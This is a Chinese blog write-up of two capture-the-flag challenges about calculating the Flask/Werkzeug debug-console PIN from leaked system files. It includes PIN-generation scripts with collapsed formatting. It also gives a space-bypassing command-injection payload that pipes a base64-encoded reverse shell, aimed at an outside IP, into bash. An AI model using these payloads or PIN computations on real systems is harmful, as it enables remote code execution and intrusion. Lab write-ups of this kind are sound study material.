Flask debug模式算pin码_Ys3ter的博客-CSDN博客_flask pin码

可以参考这个链接

ctfshow801

然后这张图非常的重要

也就是我们需要上面的各个因素,然后获得ping码,也就是console的密码,就可以自己输出命令

然后会有两个脚本,一个是3.6通过md5加密,一个是3.8通过sha1进行加密

#MD5
import hashlib
from itertools import chain
probably_public_bits = ['flaskweb'# username'flask.app',# modname'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]private_bits = ['25214234362297',# str(uuid.getnode()),  /sys/class/net/ens33/address'0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'# get_machine_id(), /etc/machine-id
]h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode('utf-8')h.update(bit)
h.update(b'cookiesalt')cookie_name = '__wzd' + h.hexdigest()[:20]num = None
if num is None:h.update(b'pinsalt')num = ('%09d' % int(h.hexdigest(), 16))[:9]rv =None
if rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')for x in range(0, len(num), group_size))breakelse:rv = numprint(rv)
#sha1
import hashlib
from itertools import chain
probably_public_bits = ['root'# /etc/passwd'flask.app',# 默认值'Flask',# 默认值'/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到
]private_bits = ['2485377585864',#  /sys/class/net/eth0/address 16进制转10进制#machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup'ab5474dd-e22b-45df-8316-7ad4e11f978ae78714841cdc523ece942e68660c9777ad13a358f5ea71a8e1d1424efe9a8400'#  /proc/self/cgroup
]h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode('utf-8')h.update(bit)
h.update(b'cookiesalt')cookie_name = '__wzd' + h.hexdigest()[:20]num = None
if num is None:h.update(b'pinsalt')num = ('%09d' % int(h.hexdigest(), 16))[:9]rv =None
if rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')for x in range(0, len(num), group_size))breakelse:rv = numprint(rv)

开始做题:

看见了绝对地址,和python3.8所以用下面的脚本计算ping码

接下来一步步获取

/etc/passwd获得用户名

然后别的跟着获取就行,这里注意一下这个机器id

需要进行拼接的

这里后面都一样的所以不用多想随便取一个就行 ,然后套脚本

转换十进制,用谷歌的console就可以了

导入os模块,这里\n是换行,差点 以为flag文件是nflag哈哈

ShadowFlag

打开界面就是源码,


from flask import Flask, request
import os
from time import sleepapp = Flask(__name__)flag1 = open("/tmp/flag1.txt", "r")   #打开文件
with open("/tmp/flag2.txt", "r") as f:flag2 = f.read()   #flag2应该是flag1.txt的值
tag = False@app.route("/")   #路由选择
def index():with open("app.py", "r+") as f://读取app.py的值,所以我们可以看见源码下面有returnreturn f.read()@app.route("/shell", methods=['POST'])#/shell路由  post传参
def shell():global tag    #tag全局变量if tag != True:  #tag为false进入global flag1  #flag1 为全局变量del flag1  #删除flag1tag = True   #赋值os.system("rm -f /tmp/flag1.txt /tmp/flag2.txt")#命令删除二个文件action = request.form["act"]   #获取post传参if action.find(" ") != -1: # 不能有空格return "Nonono"else:os.system(action) #这里会命令执行,应该可以利用,毕竟act可控return "Wow"@app.errorhandler(404)
def error_date(error):sleep(5)return "扫扫扫,扫啥东方明珠呢[怒]"if __name__ == "__main__":app.run()

所以现在我们的思路,就是post传参然后执行它

根据代码得知:二个flag文件,感觉flag分成了二段,然后一段flag1 被删除了,flag2还存在

act=echo%09YmFzaCAtaSAmPiAvZGV2L3RjcC8xMTAuNDAuMTkzLjIwMi85OTk5IDA%2bJjE=|base64%09-d|bash

其实这直接访问console,这一步完全没想出来,看别人也都是直接猜出来的。

打通发现,ctf是用户名

然后转换为10进制   2485376947610

a4473a34-a602-43b3-bd38-c11e15f45ae7

42f44ee9fdafb6557e4b39ff62e0aa5df78925533340fa7c067roaeff31dd90665

然后进行拼接得

查看条件发现,还缺一个绝对地址

会打开所有得进程,这里也会包含,打开文件但未正常关闭,然后直接删除得一般进程号 为15-18

发现了flag1.txt被删除得进程,所以我们 

是当中的第三个然后进行读取

然后这个报错页面,只要我们不是传参的act都会爆出错误,然后获得了绝对地址

#sha1
import hashlib
from itertools import chain
probably_public_bits = ['ctf',# username'flask.app',# modname'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))'/usr/local/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]private_bits = ['2485376947675',# str(uuid.getnode()),  /sys/class/net/ens33/address'e0ad2d31-1d21-4f57-b1c5-4a9036fbf23516921067cd405eaa654013ea6a0ba8784e311ba26d783724d39843827fce654f'# get_machine_id(), /etc/machine-id
]h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode("utf-8")h.update(bit)
h.update(b"cookiesalt")cookie_name = f"__wzd{h.hexdigest()[:20]}"# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:h.update(b"pinsalt")num = f"{int(h.hexdigest(), 16):09d}"[:9]# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = "-".join(num[x : x + group_size].rjust(group_size, "0")for x in range(0, len(num), group_size))breakelse:rv = numprint(rv)

获得pin码

因为源码中的flag2未被删除直接输出就可以了

解释一下为什么在进程里面:

flag1 = open("/tmp/flag1.txt", "r")   #打开文件
with open("/tmp/flag2.txt", "r") as f:
    flag2 = f.read()   #flag2应该是flag1.txt的值
tag = False

flag1.txt只是打开并没有关闭,而flag2.txt会进行正常的关闭,所以进程中不会出现

参考链接:GitHub - Randark-JMT/NSSCTF-Round_v7-ShadowFlag: A reverse challenge in NSSCTF Round#7

flask计算pin码相关推荐

  1. 根据路由器MAC地址精确计算PIN码第八位的方法

    方法对于穷举法PJ路由MM用处不是太大,但是这是我PIN了几个路由器得出来的规律,这个方法对所有品种的路由器有效,希望能给大家一点启发. 第8位的算法: 如果pin码前7位分别是:ABCDEFG 第八 ...

  2. 3加密狗计算pin码_6 个芯片打造复古经典计算机:215 色显示,能编程能玩小游戏...

    机器之心报道 机器之心编辑部 在很多人看来,打造一台家用的计算机需要太多硬件:主板.CPU 等等.但实现一个 8 位的计算机远没有这么复杂.近日,一位名为 Matt Sarnoff 的开发者就仅用了 ...

  3. pin码计算器网页版_新款尼桑密码计算器(提供算密码服务)

    今天和大家介绍一款ICC的国外原车车辆的防盗密码计算器,这款软件能通过原车的车架码或PCM码查询出原车的防盗密码.适合的车型比较广.对设备不多,需要经常匹配车辆防盗的朋友,的确到来不少方便. 以下是官 ...

  4. 无线安全专题_破解篇02--kali破解pin码

    最近项目有点紧,所以本应该上周发的文章,拖到了本周三,在此说声抱歉.无线安全专题,我打算系统地写六个部分,分别为破解篇,攻击篇,欺骗篇,路由篇,移动篇和蓝牙篇,当然在发布的过程中,可能还会掺杂着发布f ...

  5. PIN码和微软账户密码的区别

    PIN码最先出现在手机上,PIN码(PIN1,还有一种是PIN2,这里不对它拓展了) ,全称Personal Identification Number.就是SIM卡的个人识别密码. 手机的PIN码是 ...

  6. win10取消开机密码和pin码

    我通过下面的第一种方式去设置但是并没有达到效果,采用第二种方式就可以了,建议试试这两个方法. 第一种方式: 第一步:win+R,在弹出窗口中输入netplwiz ,用来查看用户账户 第二步:取消'要使 ...

  7. 关于pin码破解的原理和reaver参数的解释

    路由器开启wps功能后,会随机生成一个8位的pin码,通过暴力枚举pin码,达到破解的目的,尤其现在很多路由器默认开启了wps功能.大家可能会想到8位的随机pin码将会有100000000种情况,这要 ...

  8. 海康 安全码 修改密码_手机为什么要设置PIN码 手机设置PIN码的原因【介绍】

    在刷新闻的时候,经常会看到这样的内容:警方提醒大众要设置手机卡PIN码. 为什么警方会提醒大家设置手机卡PIN码?它究竟是个啥?今儿,小编就和大家分享下. 什么是手机卡PIN码? 手机卡PIN码简单来 ...

  9. bluez 设置绑定pin码_国家工信部紧急提醒:一定要设置这个密码!

    近日,一名网友分享了自己的亲身经历,因为手机被盗,不法分子通过手机上的App,窃取他的个人信息,进而申请网贷,造成财产损失.该文章通过互联网大量转发,引发网民对手机个人信息保护和财产安全的担忧. 针对 ...

最新文章

  1. 分布式存储系统sheepdog
  2. 【 MATLAB 】DFT的性质讨论(二)序列的循环移位及其 MATLAB 实现(频域方法)
  3. vc6.0连接mysql数据库
  4. 一分钟安装IDA pro7.0
  5. python缩进符错误_python – 如何修复Pylint“错误的缩进”和PEP8 E121?
  6. 深度linux 网络配置文件,solver及其配置 - Caffe 深度学习入门教程_Linux教程_Linux公社-Linux系统门户网站...
  7. 第三十七期:刷脸支付叫好不叫座,为啥消费者和商家都不愿用先进科技?
  8. 消息中间件的技术选型心得-RabbitMQ ActiveMQ和ZeroMQ
  9. 盘点过去10年美国规模最大科技公司IPO:阿里一直是纪录保持者
  10. 2021李宏毅机器学习课程笔记——Recurrent Neural Network
  11. sql语句ding_SQL语句映射文件增删改查、参数、缓存
  12. 电脑故障速查方法集萃
  13. 瑞萨单片机-PWM输出
  14. YeeCOM DTU 轮询采集
  15. Android进阶——动画家族之视图动画、属性动画和过渡(转场)动画总结(一)
  16. springboot切面不生效踩坑纪录
  17. 区块链(Blockchain)简介
  18. 数据库----------唯一约束、默认约束、零填充约束
  19. 免装版mysql卸载
  20. 如何进行市场细分并初步绘制用户画像?

热门文章

  1. ros中rviz不显示摄像头视频问题的解决
  2. 华为手表开发:WATCH 3 Pro(17)传感器订阅指南针
  3. MathJax 引擎数学符号说明
  4. [bitfinex]自动放贷小程序炮制过程描述
  5. 仪控功能测试仿真设备ETest
  6. 聊聊我眼中恺明大神MAE的成功之处
  7. java 调用cmd_java打开本地应用程序(调用cmd)---Runtime用法详解
  8. 计算机学科教育案例怎么写,关于举办2019年学院《计算机应用基础》课程教学改革实验案例征文比赛的通知...
  9. 面试时如何回答面试官的问题
  10. 如何快速定位 Redis 热 key?